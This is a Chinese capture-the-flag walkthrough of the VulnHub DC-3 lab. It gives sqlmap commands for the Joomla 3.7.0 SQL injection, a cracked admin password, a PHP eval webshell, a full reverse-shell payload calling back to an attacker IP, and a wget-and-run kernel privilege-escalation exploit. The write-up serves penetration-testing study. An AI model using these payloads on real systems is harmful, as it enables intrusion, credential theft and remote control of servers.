当前位置: 首页 > article >正文

vulnhub DC-3

报错解决

这个靶机有一个报错,更改一下磁盘就可以了

开机就可以了

先获取一下靶机IP

arp-scan -l 

信息收集

nmap -A -sS -p- 192.168.47.143

就开了一个80端口

扫目录

dirb http://192.168.47.143/

在WebRbot里面扫出来两个txt文件

在这个网页http://192.168.47.143/README.txt可以看到他框架和版本Joomla 3.7

#后台登陆页面
http://192.168.47.143/administrator/

漏洞探测

使用searchsploit查找一下这个版本的漏洞

searchsploit joomla 3.7.0

看到两个漏洞的POC移出来看一下

#移到当前目录下
searchsploit php/webapps/42033.txt -m
cat 42033.txt 

POC里面给了地址和sqlmap的参数直接拿sqlmap跑

漏洞利用

利用sqlmap直接去跑数据

库名

sqlmap "http://192.168.47.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] 

表名

sqlmap "http://192.168.47.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 -o -D joomladb -tables -p list[fullordering]

sqlmap "http://192.168.47.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns

获取敏感数据

sqlmap -u "http://192.168.47.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch

不过密码加密了使用john去跑密码

echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > pass.txt
john pass.txt
#账户admin
#密码snoopy

成功登录后台

方法一:

有一个新建文件点击新建后会跳到编辑页面

写入一句话木马

<?php @eval($_POST['a']);?>

前往http://192.168.47.143/templates/beez3/html/可以看到我们的gshell文件

前往蚁剑进行连接

方法二:

创建一个fshell.php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.47.129 LPORT=8888 -f raw -o cmd.php

生成反弹shell的代码

写入反弹shell的代码

/*<?php /**/ error_reporting(0); $ip = '192.168.47.129'; $port = 8888; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
exploit

然后去访问fshell.php就可以反弹成功

开启交互式shell

shell
python -c "import pty;pty.spawn('/bin/bash')"

提权

#查找提权
find / -perm -u=s -type f 2>/dev/null

at提权无果

/ect都是root权限也没有用

使用searchsploit去检索漏洞

searchsploit ubuntu 16.04 Privilege Escalation

searchsploit -p 39772
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

exp地址将他下载下来

将他解压

然后使用python开启服务

python -m http.server
#将他下载到靶机
wget http://192.168.47.129:8000/39772/exploit.tar

下载完以后解压文件

tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit

在cd ebpf_mapfd_doubleput_exploit有四个文件

运行这两个文件即可成功提权

获取flag

flag在/root下

cd /root 
cat the-flag.txt


http://www.kler.cn/a/534293.html

相关文章:

  • Rapidjson 实战
  • 一文讲解Spring如何解决循环依赖
  • SpringSecurity密码编码器:使用BCrypt算法加密、自定义密码编码器
  • 105,【5】buuctf web [BJDCTF2020]Easy MD5
  • 【Numpy核心编程攻略:Python数据处理、分析详解与科学计算】2.22 多项式运算:从求根到拟合的数值方法
  • 华为小米vivo向上,苹果荣耀OPPO向下
  • 一文解释pytorch 中的 squeeze() 和 unsqueeze()函数(全网最详细版)
  • Docker基础以及单体实战
  • Node.js 与 PostgreSQL 集成:深入 pg 模块的应用与实践
  • 基于Ceph14对接openstack的Nova、Glance、Cinder服务为后端存储
  • [权限提升] Linux 提权 — 系统内核溢出漏洞提权
  • linux常用基础命令 最新
  • Java 微服务实用指南(一)
  • Node.js学习指南
  • 18爬虫:关于playwright相关内容的学习
  • ES6 对象扩展:对象简写,对象属性 表达式,扩展运算符 ...,Object.assign,Object.is,用法和应用场景
  • 教育邮箱免费使用Notion专业版,还能免费使用Azure和OpenAI!
  • [Leetcode]求最长公共前缀
  • Linux 安装 RabbitMQ
  • 高级java每日一道面试题-2025年01月28日-框架篇[SpringBoot篇]-如何使用Spring Boot实现异常处理?
  • 按月拆分工作表,报表清晰没烦恼-Excel易用宝
  • ubuntu22.40安装及配置静态ip解决重启后配置失效
  • Linux环境部署DeepSeek大模型
  • 深入解析:如何获取商品 SKU 详细信息
  • 双亲委派(jvm)
  • Anaconda中指定python版本安装langchain